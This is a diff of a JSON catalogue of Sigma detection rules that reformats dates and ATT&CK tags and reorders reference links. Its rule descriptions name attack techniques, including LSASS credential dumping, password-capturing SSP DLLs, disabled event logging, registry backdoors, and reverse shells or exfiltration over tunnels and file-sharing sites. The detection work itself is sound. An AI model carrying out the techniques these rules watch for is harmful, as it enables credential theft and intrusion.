"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hack_wce_reg.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "attack.s0005" ] @@ -7010,7 +7012,7 @@ "description": "Detects value modification of registry key containing path to binary used as screensaver.", "meta": { "author": "Bartlomiej Czyz @bczyz1, oscd.community", - "creation_date": "2020/10/11", + "creation_date": "2020-10-11", "falsepositive": [ "Legitimate modification of screensaver" ], @@ -7025,7 +7027,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.002" ] }, @@ -7045,7 +7047,7 @@ "description": "Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.", "meta": { "author": "Ilyas Ochkov, oscd.community", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Unknown" ], @@ -7058,7 +7060,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001", "attack.t1112" ] @@ -7086,7 +7088,7 @@ "description": "Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started", "meta": { "author": "omkar72", - "creation_date": "2020/10/25", + "creation_date": "2020-10-25", "falsepositive": [ "Unlikely" ], @@ -7119,7 +7121,7 @@ "description": "Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/10/01", + "creation_date": "2019-10-01", "falsepositive": [ "Software installers downloaded and used by users" ], @@ -7152,7 +7154,7 @@ "description": "Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2021/04/12", + "creation_date": "2021-04-12", "falsepositive": [ "Unknown" ], @@ -7165,7 +7167,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hybridconnectionmgr_svc_installation.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1608" ] }, @@ -7185,7 +7187,7 @@ "description": "Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.\n", "meta": { "author": "iwillkeepwatch", - "creation_date": "2019/01/18", + "creation_date": "2019-01-18", "falsepositive": [ "Unknown" ], @@ -7219,7 +7221,7 @@ "description": "Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/02/26", + "creation_date": "2021-02-26", "falsepositive": [ "Unlikely" ], @@ -7233,7 +7235,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -7253,7 +7255,7 @@ "description": "Detects Processes accessing the camera and microphone from suspicious folder", "meta": { "author": "Den Iuzvyk", - "creation_date": "2020/06/07", + "creation_date": "2020-06-07", "falsepositive": [ "Unlikely, there could be conferencing software running from a Temp folder accessing the devices" ], @@ -7294,7 +7296,7 @@ "description": "Detects potential malicious modification of the property value of IsCredGuardEnabled from\nHKLM:\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest to disable Cred Guard on a system.\nThis is usually used with UseLogonCredential to manipulate the caching credentials.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2019/08/25", + "creation_date": "2019-08-25", "falsepositive": [ "Unknown" ], @@ -7307,7 +7309,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_wdigest_credential_guard.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -7327,7 +7329,7 @@ "description": "Detects actions caused by the RedMimicry Winnti playbook", "meta": { "author": "Alexander Rausch", - "creation_date": "2020/06/24", + "creation_date": "2020-06-24", "falsepositive": [ "Unknown" ], @@ -7340,7 +7342,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_redmimicry_winnti_reg.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -7360,7 +7362,7 @@ "description": "Detects Pandemic Windows Implant", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/06/01", + "creation_date": "2017-06-01", "falsepositive": [ "Unknown" ], @@ -7369,12 +7371,12 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/MalwareJake/status/870349480356454401", "https://wikileaks.org/vault7/#Pandemic", + "https://twitter.com/MalwareJake/status/870349480356454401", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_pandemic.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -7394,7 +7396,7 @@ "description": "Detects enabling of the \"AllowAnonymousCallback\" registry value, which allows a remote connection between computers that do not have a trust relationship.", "meta": { "author": "X__Junior (Nextron Systems)", - "creation_date": "2023/11/03", + "creation_date": "2023-11-03", "falsepositive": [ "Administrative activity" ], @@ -7407,7 +7409,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_set_enable_anonymous_connection.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -7427,7 +7429,7 @@ "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", "meta": { "author": "Florian Roth (Nextron Systems), @twjackomo, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2018/03/15", + "creation_date": "2018-03-15", "falsepositive": [ "Unlikely" ], @@ -7436,12 +7438,12 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_stickykey_like_backdoor.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence", "attack.t1546.008", "car.2014-11-003", @@ -7464,7 +7466,7 @@ "description": "Detects a method to load DLL via LSASS process using an undocumented Registry key", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/10/16", + "creation_date": "2019-10-16", "falsepositive": [ "Unknown" ], @@ -7499,7 +7501,7 @@ "description": "Detects NetNTLM downgrade attack", "meta": { "author": "Florian Roth (Nextron Systems), wagga", - "creation_date": "2018/03/20", + "creation_date": "2018-03-20", "falsepositive": [ "Unknown" ], @@ -7512,7 +7514,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001", "attack.t1112" ] @@ -7540,7 +7542,7 @@ "description": "Detects potential malicious modification of run keys by winekey or team9 backdoor", "meta": { "author": "omkar72", - "creation_date": "2020/10/30", + "creation_date": "2020-10-30", "falsepositive": [ "Unknown" ], @@ -7573,7 +7575,7 @@ "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", "meta": { "author": "Nik Seetharaman", - "creation_date": "2018/07/16", + "creation_date": "2018-07-16", "falsepositive": [ "Legitimate CMSTP use (unlikely in modern enterprise environments)" ], @@ -7586,7 +7588,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_cmstp_execution_by_registry.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218.003", "attack.g0069", @@ -7609,7 +7611,7 @@ "description": "Detects the execution of some potentially unwanted tools such as PsExec, Procdump, etc. (part of the Sysinternals suite) via the creation of the \"accepteula\" registry key.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/24", + "creation_date": "2022-08-24", "falsepositive": [ "Legitimate use of SysInternals tools. Filter the legitimate paths used in your environment" ], @@ -7622,7 +7624,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_pua_sysinternals_susp_execution_via_eula.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1588.002" ] }, @@ -7642,7 +7644,7 @@ "description": "Detects the creation of the \"accepteula\" key related to the Sysinternals tools being created from executables with the wrong name (e.g. a renamed Sysinternals tool)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/24", + "creation_date": "2022-08-24", "falsepositive": [ "Unlikely" ], @@ -7655,7 +7657,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_pua_sysinternals_renamed_execution_via_eula.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1588.002" ] }, @@ -7675,7 +7677,7 @@ "description": "Detects registry keys related to NetWire RAT", "meta": { "author": "Christopher Peacock", - "creation_date": "2021/10/07", + "creation_date": "2021-10-07", "falsepositive": [ "Unknown" ], @@ -7684,15 +7686,15 @@ "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ - "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/", "https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing", + "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/", "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", - "https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/", "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_malware_netwire.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -7712,7 +7714,7 @@ "description": "Detects COM object hijacking via TreatAs subkey", "meta": { "author": "Kutepov Anton, oscd.community", - "creation_date": "2019/10/23", + "creation_date": "2019-10-23", "falsepositive": [ "Maybe some system utilities in rare cases use linking keys for backward compatibility" ], @@ -7745,7 +7747,7 @@ "description": "Detects the execution of a Sysinternals Tool via the creation of the \"accepteula\" registry key", "meta": { "author": "Markus Neis", - "creation_date": "2017/08/28", + "creation_date": "2017-08-28", "falsepositive": [ "Legitimate use of SysInternals tools", "Programs that use the same Registry Key" @@ -7759,7 +7761,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_pua_sysinternals_execution_via_eula.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1588.002" ] }, @@ -7779,7 +7781,7 @@ "description": "Detects when an attacker registers a new AMSI provider in order to achieve persistence", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Legitimate security products adding their own AMSI providers. Filter these according to your environment" ], @@ -7803,7 +7805,7 @@ "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence.\nThe disk cleanup manager is part of the operating system. It displays the dialog box […]\nThe user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Legitimate new entry added by windows" ], @@ -7827,7 +7829,7 @@ "description": "Detects creation of \"UserInitMprLogonScript\" registry value which can be used as a persistence method by malicious actors", "meta": { "author": "Tom Ueltschi (@c_APT_ure)", - "creation_date": "2019/01/12", + "creation_date": "2019-01-12", "falsepositive": [ "Investigate the contents of the \"UserInitMprLogonScript\" value to determine of the added script is legitimate" ], @@ -7842,7 +7844,7 @@ "tags": [ "attack.t1037.001", "attack.persistence", - "attack.lateral_movement" + "attack.lateral-movement" ] }, "related": [ @@ -7861,7 +7863,7 @@ "description": "Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/07/26", + "creation_date": "2022-07-26", "falsepositive": [ "Unknown" ], @@ -7870,12 +7872,12 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", "https://github.com/xmrig/xmrig/tree/master/bin/WinRing0", + "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_winring0_driver.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003" ] }, @@ -7895,7 +7897,7 @@ "description": "Detects a driver load from a temporary directory", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/02/12", + "creation_date": "2017-02-12", "falsepositive": [ "There is a relevant set of false positives depending on applications in the environment" ], @@ -7909,7 +7911,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003" ] }, @@ -7929,7 +7931,7 @@ "description": "Detects driver load of the Process Hacker tool", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/11/16", + "creation_date": "2022-11-16", "falsepositive": [ "Legitimate use of process hacker or system informer by developers or system administrators" ], @@ -7942,8 +7944,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_pua_process_hacker.yml" ], "tags": [ - "attack.privilege_escalation", - "cve.2021.21551", + "attack.privilege-escalation", + "cve.2021-21551", "attack.t1543" ] }, @@ -7963,7 +7965,7 @@ "description": "Detects driver load of the System Informer tool", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2023/05/08", + "creation_date": "2023-05-08", "falsepositive": [ "System Informer is regularly used legitimately by system administrators or developers. Apply additional filters accordingly" ], @@ -7977,7 +7979,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_pua_system_informer.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543" ] }, @@ -7997,7 +7999,7 @@ "description": "Detects loading of known malicious drivers via the file name of the drivers.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/03", + "creation_date": "2022-10-03", "falsepositive": [ "False positives may occur if one of the vulnerable driver names mentioned above didn't change its name between versions. So always make sure that the driver being loaded is the legitimate one and the non vulnerable version.", "If you experience a lot of FP you could comment the driver name or its exact known legitimate location (when possible)" @@ -8011,7 +8013,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_mal_drivers_names.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003", "attack.t1068" ] @@ -8039,7 +8041,7 @@ "description": "Detects loading of known vulnerable drivers via their hash.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/18", + "creation_date": "2022-08-18", "falsepositive": [ "Unknown" ], @@ -8052,7 +8054,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_drivers.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003", "attack.t1068" ] @@ -8080,7 +8082,7 @@ "description": "Detects the load of known vulnerable drivers via the file name of the drivers.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/03", + "creation_date": "2022-10-03", "falsepositive": [ "False positives may occur if one of the vulnerable driver names mentioned above didn't change its name between versions. So always make sure that the driver being loaded is the legitimate one and the non vulnerable version.", "If you experience a lot of FP you could comment the driver name or its exact known legitimate location (when possible)" @@ -8094,7 +8096,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_drivers_names.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003", "attack.t1068" ] @@ -8122,7 +8124,7 @@ "description": "Detects loading of known malicious drivers via their hash.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/18", + "creation_date": "2022-08-18", "falsepositive": [ "Unknown" ], @@ -8135,7 +8137,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_mal_drivers.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003", "attack.t1068" ] @@ -8163,7 +8165,7 @@ "description": "Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/18", + "creation_date": "2022-08-18", "falsepositive": [ "Unlikely" ], @@ -8176,7 +8178,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_hevd_driver.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003" ] }, @@ -8196,7 +8198,7 @@ "description": "Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/07/30", + "creation_date": "2021-07-30", "falsepositive": [ "Legitimate WinDivert driver usage" ], @@ -8205,13 +8207,13 @@ "logsource.category": "driver_load", "logsource.product": "windows", "refs": [ - "https://reqrypt.org/windivert-doc.html", "https://rastamouse.me/ntlm-relaying-via-cobalt-strike/", + "https://reqrypt.org/windivert-doc.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_windivert.yml" ], "tags": [ "attack.collection", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1599.001", "attack.t1557.001" ] @@ -8239,7 +8241,7 @@ "description": "Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/11/09", + "creation_date": "2021-11-09", "falsepositive": [ "Unknown" ], @@ -8253,7 +8255,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mal_cobaltstrike.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.004" ] }, @@ -8273,7 +8275,7 @@ "description": "Detects DNS requests to Cloudflared tunnels domains.\nAttackers can abuse that feature to establish a reverse shell or persistence on a machine.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/12/20", + "creation_date": "2023-12-20", "falsepositive": [ "Legitimate use of cloudflare tunnels will also trigger this." ], @@ -8287,7 +8289,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_cloudflared_communication.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -8307,7 +8309,7 @@ "description": "Detects a DNS query by a non browser process on the system to \"azurewebsites.net\". The latter was often used by threat actors as a malware hosting and exfiltration site.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/06/24", + "creation_date": "2024-06-24", "falsepositive": [ "Likely with other browser software. Apply additional filters for any other browsers you might use." ], @@ -8316,14 +8318,14 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ + "https://www.sentinelone.com/labs/wip26-espionage-threat-actors-abuse-cloud-infrastructure-in-targeted-telco-attacks/", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", - "https://intezer.com/blog/research/how-we-escaped-docker-in-azure-functions/", "https://symantec-enterprise-blogs.security.com/threat-intelligence/harvester-new-apt-attacks-asia", - "https://www.sentinelone.com/labs/wip26-espionage-threat-actors-abuse-cloud-infrastructure-in-targeted-telco-attacks/", + "https://intezer.com/blog/research/how-we-escaped-docker-in-azure-functions/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_domain_azurewebsites.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -8343,7 +8345,7 @@ "description": "Detects DNS queries made by \"AppInstaller.EXE\". The AppInstaller is the default handler for the \"ms-appinstaller\" URI. It attempts to load/install a package from the referenced URL\n", "meta": { "author": "frack113", - "creation_date": "2021/11/24", + "creation_date": "2021-11-24", "falsepositive": [ "Unknown" ], @@ -8352,12 +8354,12 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/", "https://twitter.com/notwhickey/status/1333900137232523264", + "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_appinstaller.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1105" ] }, @@ -8377,7 +8379,7 @@ "description": "Detects DNS queries for IP lookup services such as \"api.ipify.org\" originating from a non browser process.", "meta": { "author": "Brandon George (blog post), Thomas Patzke", - "creation_date": "2021/07/08", + "creation_date": "2021-07-08", "falsepositive": [ "Legitimate usage of IP lookup services such as ipify API" ], @@ -8412,7 +8414,7 @@ "description": "Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/30", + "creation_date": "2022-01-30", "falsepositive": [ "Unknown binary names of TeamViewer", "Depending on the environment the rule might require some initial tuning before usage to avoid FP with third party applications" @@ -8426,7 +8428,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_teamviewer_domain_query_by_uncommon_app.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -8446,7 +8448,7 @@ "description": "Detects DNS server discovery via LDAP query requests from uncommon applications", "meta": { "author": "frack113", - "creation_date": "2022/08/20", + "creation_date": "2022-08-20", "falsepositive": [ "Likely" ], @@ -8455,8 +8457,8 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/7fcdce70-5205-44d6-9c3a-260e616a2f04", "https://github.com/redcanaryco/atomic-red-team/blob/980f3f83fd81f37c1ca9c02dccfd1c3d9f9d0841/atomics/T1016/T1016.md#atomic-test-9---dns-server-discovery-using-nslookup", + "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/7fcdce70-5205-44d6-9c3a-260e616a2f04", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_dns_server_discovery_via_ldap_query.yml" ], "tags": [ @@ -8480,7 +8482,7 @@ "description": "Detects DNS query requests to Devtunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.\n", "meta": { "author": "citron_ninja", - "creation_date": "2023/10/25", + "creation_date": "2023-10-25", "falsepositive": [ "Legitimate use of Devtunnels will also trigger this." ], @@ -8495,7 +8497,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_devtunnels_communication.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -8515,7 +8517,7 @@ "description": "Detects Azure Hybrid Connection Manager services querying the Azure service bus service", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2021/04/12", + "creation_date": "2021-04-12", "falsepositive": [ "Legitimate use of Azure Hybrid Connection Manager and the Azure Service Bus service" ], @@ -8548,7 +8550,7 @@ "description": "Detects DNS queries to an \".onion\" address related to Tor routing networks", "meta": { "author": "frack113", - "creation_date": "2022/02/20", + "creation_date": "2022-02-20", "falsepositive": [ "Unknown" ], @@ -8561,7 +8563,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_tor_onion_domain_query.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090.003" ] }, @@ -8581,7 +8583,7 @@ "description": "Detects DNS queries to \"ufile.io\", which was seen abused by malware and threat actors as a method for data exfiltration", "meta": { "author": "yatinwad, TheDFIRReport", - "creation_date": "2022/06/23", + "creation_date": "2022-06-23", "falsepositive": [ "DNS queries for \"ufile\" are not malicious by nature necessarily. Investigate the source to determine the necessary actions to take" ], @@ -8614,7 +8616,7 @@ "description": "Detects DNS queries for \"anonfiles.com\", which is an anonymous file upload platform often used for malicious purposes", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": "2022/07/15", + "creation_date": "2022-07-15", "falsepositive": [ "Rare legitimate access to anonfiles.com" ], @@ -8647,7 +8649,7 @@ "description": "Detects DNS queries for subdomains related to MEGA sharing website", "meta": { "author": "Aaron Greetham (@beardofbinary) - NCC Group", - "creation_date": "2021/05/26", + "creation_date": "2021-05-26", "falsepositive": [ "Legitimate DNS queries and usage of Mega" ], @@ -8680,7 +8682,7 @@ "description": "Detects DNS query requests to Visual Studio Code tunnel domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.\n", "meta": { "author": "citron_ninja", - "creation_date": "2023/10/25", + "creation_date": "2023-10-25", "falsepositive": [ "Legitimate use of Visual Studio Code tunnel will also trigger this." ], @@ -8690,12 +8692,12 @@ "logsource.product": "windows", "refs": [ "https://badoption.eu/blog/2023/01/31/code_c2.html", - "https://cydefops.com/vscode-data-exfiltration", "https://ipfyx.fr/post/visual-studio-code-tunnel/", + "https://cydefops.com/vscode-data-exfiltration", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_vscode_tunnel_communication.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -8715,7 +8717,7 @@ "description": "Detects DNS query requests to \"update.onelaunch.com\". This domain is associated with the OneLaunch adware application.\nWhen the OneLaunch application is installed it will attempt to get updates from this domain.\n", "meta": { "author": "Josh Nickels", - "creation_date": "2024/02/26", + "creation_date": "2024-02-26", "falsepositive": [ "Unlikely" ], @@ -8724,9 +8726,9 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ + "https://malware.guide/browser-hijacker/remove-onelaunch-virus/", "https://www.myantispyware.com/2020/12/14/how-to-uninstall-onelaunch-browser-removal-guide/", "https://www.malwarebytes.com/blog/detections/pup-optional-onelaunch-silentcf", - "https://malware.guide/browser-hijacker/remove-onelaunch-virus/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_onelaunch_update_service.yml" ], "tags": [ @@ -8750,7 +8752,7 @@ "description": "Detects DNS queries initiated by \"Regsvr32.exe\"", "meta": { "author": "Dmitriy Lifanov, oscd.community", - "creation_date": "2019/10/25", + "creation_date": "2019-10-25", "falsepositive": [ "Unknown" ], @@ -8759,14 +8761,14 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", + "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_regsvr32_dns_query.yml" ], "tags": [ "attack.execution", "attack.t1559.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.010" ] }, @@ -8793,7 +8795,7 @@ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113, Connor Martin", - "creation_date": "2022/07/11", + "creation_date": "2022-07-11", "falsepositive": [ "Likely with other browser software. Apply additional filters for any other browsers you might use." ], @@ -8802,15 +8804,15 @@ "logsource.category": "dns_query", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution", - "https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093", "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", + "https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows", + 